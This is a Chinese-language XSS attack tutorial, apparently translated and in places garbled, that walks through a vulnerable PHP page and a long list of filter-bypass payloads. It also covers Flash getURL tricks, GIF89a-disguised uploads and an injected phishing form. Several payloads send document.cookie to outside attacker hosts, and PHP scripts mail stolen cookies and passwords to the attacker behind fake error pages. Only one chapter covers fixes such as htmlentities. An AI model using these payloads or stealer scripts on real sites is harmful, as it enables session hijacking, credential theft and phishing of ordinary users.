|
摘要: 1>什么是XSS? 2>XSS脚本攻击 3>制造一个cookie攻击 4>保护XSS 5>笨方法 6>过滤绕过 7>Flash攻击 8>XSS 上传 9>XSS 钓鱼
____ ____ / / \ \ ______/ /_____________________________________\ \______ | / / \ \ | | / /.:Chapter 1 - 什么是XSS? :.\ \ | |___/ /___________________________________________\ \___| / / \ \ /___/ \___\
跨站脚本的脚本是一个浏览器,同时利用利用一个漏洞为基础的安全解决方案。 这次袭击使内容(脚本) ,在无特权区被执行与权
限的一个特权区-即一个特权升级与客户端(浏览器)执行脚本。这些漏洞有可能是:
* Web浏览器的漏洞,这在一定条件下,允许内容(脚本)在一个区被执行的权限的更高特权区。 * Web浏览器配置漏洞,不安全的站点在特定的区域被列出 * 特定的区域被跨站脚本攻击
用命令攻击要有如下两个步骤: 第一步,用一个跨站脚本攻击,得到在特定区域的代码执行权限.为了完成攻击,然后利用不安全的ActiveX控件,来在相应的电脑上做一
些恶意操作.
当这个攻击完成后,将有恶意软件(像蠕虫\远程控制软件)被悄悄的安装在被攻击者的电脑上、打开一些有危害的网页。
____ ____ / / \ \ ______/ /_____________________________________\ \______ | / / \ \ | | / /.:Chapter 2 - XSS脚本攻击 :.\ \ | |___/ /___________________________________________\ \___| / / \ \ /___/ \___\
新建一个文本文档,把下面的代码放进: <!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-
transitional.dtd”> <html xmlns=”http://www.w3.org/1999/xhtml”> <head> <meta http-equiv=”Content-Type” content=”text/html; charset=iso-8859-1″ />
<style type=”text/css”> <!– body,td,th { color: #FFFFFF; } body { background-color: #000000; } –> </style><title>Simple XSS vulnerability by Xylitol</title> <body> <form action=”XSS.php” method=”post”> <p align=”center”><strong>Simple XSS vulnerability by Xylitol </strong></p> <div align=”center”> <table width=”270″ border=”0″> <tr> <td width=”106″><strong>Search:</strong></td> <td width=”154″><input name=”Vulnerability” type=”text” id=”Vulnerability” /></td> </tr> </table> <table width=”268″ border=”0″> <tr> <td width=”262″><div align=”center”> <input name=”submit” type=”submit” value=” Search it ! ” /> </div></td> </tr> </table> </div> </form> </body> </html> 然后,把这个页面保存为index.html 再新建一个文本文档,把下面的代码放进去: <!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-
transitional.dtd”> <html xmlns=”http://www.w3.org/1999/xhtml”> <head> <meta http-equiv=”Content-Type” content=”text/html; charset=iso-8859-1″ /> <title>Search result:</title> <style type=”text/css”> <!– body,td,th { color: #FFFFFF; } body { background-color: #000000; } –> </style></head> <body> <span class=”alerte”>Search result :</span> <strong><?php echo $_POST['Vulnerability']; ?></strong> </body> </html> 把文件另存为XSS.php
关闭记事本
在firefox里面打开index.html 输入一个值然后点search 返回页面输入 <script>alert(’XSS’)</script> 发送表单 弹出一个对话框
_______________________________________ / http://127.0.0.1 dit: X \ |________________________________________| | | | | | ^ | | / \ | | / | \ XSS | | / . \ | | ——- | | ______ | | | OK | | | —— | |________________________________________| XSS攻击这时产生了…
____ ____ / / \ \ ______/ /_____________________________________\ \______ | / / \ \ | | / /.:Chapter 3 - 制造一个cookie攻击 :.\ \ | |___/ /___________________________________________\ \___| / / \ \ /___/ \___\
把这段代码插入到一个易受攻击的页面(如:留言板) <script> window.open(”http://www.lovelaozang.cn/cookie.php?cookies=”+document.cookie); </script> (www.Hax0r.com = 你的网站) 打开记事本,把下面的代码放进去,另存为cookie.php <!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-
transitional.dtd”> <html xmlns=”http://www.w3.org/1999/xhtml”> <head> <meta http-equiv=”Content-Type” content=”text/html; charset=iso-8859-1″ /> <title>Error</title> <style type=”text/css”> <!– body,td,th { color: #FFFFFF; } body { background-color: #000000; } –> </style></head> <? mail(’email@example.com’, ‘Cookie stealed ! - thx xyli :)’, $cookies); ?> <body> <h2><strong>Error</strong> - <strong>Access denied</strong> for <? echo $_SERVER["REMOTE_ADDR"]; ?></h2> </body> </html> 这对于攻击者还不够,等着还不如接收电子邮件。
____ ____ / / \ \ ______/ /_____________________________________\ \______ | / / \ \ | | / /.:Chapter 4 - 保护XSS :.\ \ | |___/ /___________________________________________\ \___| / / \ \ /___/ \___\
修补漏洞: 为修复XSS漏洞使用htmlentities
在第16行放置 <body> <span class=”alerte”>Search result :</span> <strong><?php echo $_POST['Vulnerability']; ?></strong> </body> By: <body> <span class=”alerte”>Search result :</span> <strong><?php if(isset($_POST['Vulnerability'])) { echo htmlentities($_POST['Vulnerability']); } ?></strong> </body>
use htmlspecialchars() function in PHP
other function: htmlentities() quotes strip_tags() … ____ ____ / / \ \ ______/ /_____________________________________\ \______ | / / \ \ | | / /.:Chapter 5 - 笨方法 :.\ \ | |___/ /___________________________________________\ \___| / / \ \ /___/ \___\
要想进行一个XSS攻击是相当简单的事情,这里有些常用的方法:
利用image: <IMG SRC=”/Article/UploadFiles/200805/20080504111308504.png”> 利用flash: <EMBED SRC=”http://hax0r.com/Haxored.swf”> 重定向: <script>window.open( “http://lovelaozang.cn/xss.html” )</script> 还有: <meta http-equiv=”refresh” content=”0; url=http://lovelaozang.cn/xss.html” />
____ ____ / / \ \ ______/ /_____________________________________\ \______ | / / \ \ | | / /.:Chapter 6 - 过滤绕过 :.\ \ | |___/ /___________________________________________\ \___| / / \ \ /___/ \___\
事实上也不是那么简单就能绕过 htmlspecialchars() 这里有一些关于绕过xss的例子: <META HTTP-EQUIV=\”refresh\” CONTENT=\”0;URL=http://;URL=javascript:alert(’XSS’);\”> <META HTTP-EQUIV=\”refresh\”CONTENT=\”0;url=javascript:alert(’XSS’);\”> ‘”>><marquee><h1>XSS</h1></marquee>
‘”>><script>alert(’XSS’)</script>
‘>><marquee><h1>XSS</h1></marquee>
“><script alert(String.fromCharCode(88,83,83))</script>
<iframe<?php echo chr(11)?> onload=alert(’XSS’)></iframe>
<div style=”x:expression((window.r==1)?”:eval(’r=1;alert(String.fromCharCo de(88,83,83));’))”>
window.alert(”Xyli !”);
“/></a></><img src=1.gif onerror=alert(1)>
[color=red' onmouseover="alert('xss')"]mouse over[/color]
<body onLoad=”alert(’XSS’);”
<body onunload=”javascript:alert(’XSS’);”>
click me
<script language=”JavaScript”>alert(’XSS’)</script>
<img src=”javascript:alert(’XSS’)”>
‘); alert(’XSS
<font style=’color:expression(alert(document.cookie))’>
<IMG DYNSRC=\”javascript:alert(’XSS’)\”>
<IMG LOWSRC=\”javascript:alert(’XSS’)\”>
</textarea><script>alert(/xss/)</script>
</title><script>alert(/xss/)</script>
<script src=http://yoursite.com/your_files.js></script>
“><script>alert(0)</script>
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC=\”jav
ascript:alert(’XSS’);\”>
<IMG SRC=\”jav
ascript:alert(’XSS’);\”>
<IMG SRC=\”jav	ascript:alert(’XSS’);\”>
<marquee><script>alert(’XSS’)</script></marquee>
<? echo(’<scr)’; echo(’ipt>alert(\”XSS\”)</script>’); ?>
<IMG SRC=\”jav
ascript:alert(’XSS’);\”>
<IMG SRC=\”jav	ascript:alert(’XSS’);\”>
<marquee><script>alert(’XSS’)</script></marquee>
<style>@im\port’\ja\vasc\ript:alert(\”XSS\”)’;</style>
<img src=foo.png onerror=alert(/xssed/) />
<script>alert(String.fromCharCode(88,83,83))</script>
<scr<script>ipt>alert(’XSS’);</scr</script>ipt>
<script>location.href=”http://www.evilsite.org/cookiegrabber.php?cookie=”+ escape(document.cookie)</script>
<script src=”http://www.evilsite.org/cookiegrabber.php”></script>
<script>alert(’XSS’);</script>
<script>alert(1);</script> ____ ____ / / \ \ ______/ /_____________________________________\ \______ | / / \ \ | | / /.:Chapter 7 - Flash攻击 :.\ \ | |___/ /___________________________________________\ \___| / / \ \ /___/ \___\
Flash是用来做复杂的动画,模拟的,创造游戏等。
getURL()这个函数是有趣的,可以用来我们的攻击。这个函数可以帮我们改变最终用户到其它页面。
它的语法是这样的:getURL(url:String, [window: String,[method:String]]) 如: getURL(”http://lovelaozang.cn/login.php?logout=true”,”_self”);
url: 网站的地址 window: 指定框架要求(_self, _blank…) method: 请求方法 GET or POST (by defect GET)
这里的处理动作和JavaScript以发布警报: getURL(”javascript:alert(’XSS’”);
在2002年表现出这种形式的危险 这种方式是一种可以发送用户的cookie的; getURL(”javascript:alert(document.cookie)”)
在2005年12月,开辟新的途径,并出现构成已受益于两年前XSS和可能性,把一个文件Flash放在签名中,以提供一个永久性跨站脚本
攻击此外,作者的这种另类使用的技术,以便传给公司,以背离蠕虫着XSS的德萨米:Samy 重装上阵
用flash窃取cookie? 不是,但有技术的做: 如: 在一个FLASH文件: GetURL(”http://www.victime.com/page.php?var=<script src=’http://www.lvoelaozang.cn/hack.js'></script>”,”_self”);
在这个hack.js文件里面有如下代码: document.location=”http://hax0r.com/cookiestealer.php?cookie=”+document.cookie;
这个解决方法很简单:就是禁止flash文件在你的WEB应用上使用.
____ ____ / / \ \ ______/ /_____________________________________\ \______ | / / \ \ | | / /.:Chapter 8 - XSS 上传 :.\ \ | |___/ /___________________________________________\ \___| / / \ \ /___/ \___\
兴个例子,我们来新建一个hack.gif文件.然后用记事本打开文件,删除所有的内容,然后写入代码 GIF89a<script>alert(”XSS”)</script> 保存退出. 上传hack.gif到相就的地方…此时跨站发生 不要用Mozillia Firefox来访问那张图片,Mozillia 不会执行我们的alert.要用Internet explorer.
为什么添加GIF89a ? 因为很多上传程序会来检查我们的gif文件是否包含 ‘GIF89a’,如果包括则认为是gif文件. GIF89a<script src=”http://lovelaozang.cn/cookiegrabber.php”></script>
我们需要知道一些其它格式图片,头部所包含的代码.
PNG = ‰PNG GIF = GIF89a JPG = ???à JFIF BMP = BMF?
为了安全不要仅仅只检查getimagesize()
____ ____ / / \ \ ______/ /_____________________________________\ \______ | / / \ \ | | / /.:Chapter 9 - XSS 钓鱼 :.\ \ | |___/ /___________________________________________\ \___| / / \ \ /___/ \___\
你是否明白什么是钓鱼?什么是XSS?
在这个例子里,有必需找到一个易受攻击的网站去XSS并注入那里,身于一种形式,以自己直接在网址以下代码 <p>Enter your login and password, thank:</p> <form action=”http://hax0r.com/mail.php”> <table><tr><td>Login:</td><td><input type=text length=20 name=login> </td></tr><tr><td>Password:</td><td> <input type=text length=20 name=password> </td></tr></table><input type=submit value= OK > </form> 这个通过这个模仿的表单,然后利用mail.php通过电子邮件把表单里的数据发送给你。 <!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-
transitional.dtd”> <html xmlns=”http://www.w3.org/1999/xhtml”> <head> <meta http-equiv=”Content-Type” content=”text/html; charset=iso-8859-1″ /> <title>Error</title> <style type=”text/css”> <!– body,td,th { color: #FFFFFF; } body { background-color: #000000; } –> </style></head> <?php $login = $HTTP_GET_VARS["login"]; $password = $HTTP_GET_VARS["password"]; mail(”email@example.com”, “Cookie stealed ! - thx xyli :)”, $password , $login ); ?> <body> <h2><strong>Error</strong> -<strong> Server too much busy</strong></h2> </body> </html>
用户会认为,服务器可能超过了负载,并不会怀疑
我想大家现在应该明白了这个原理了 |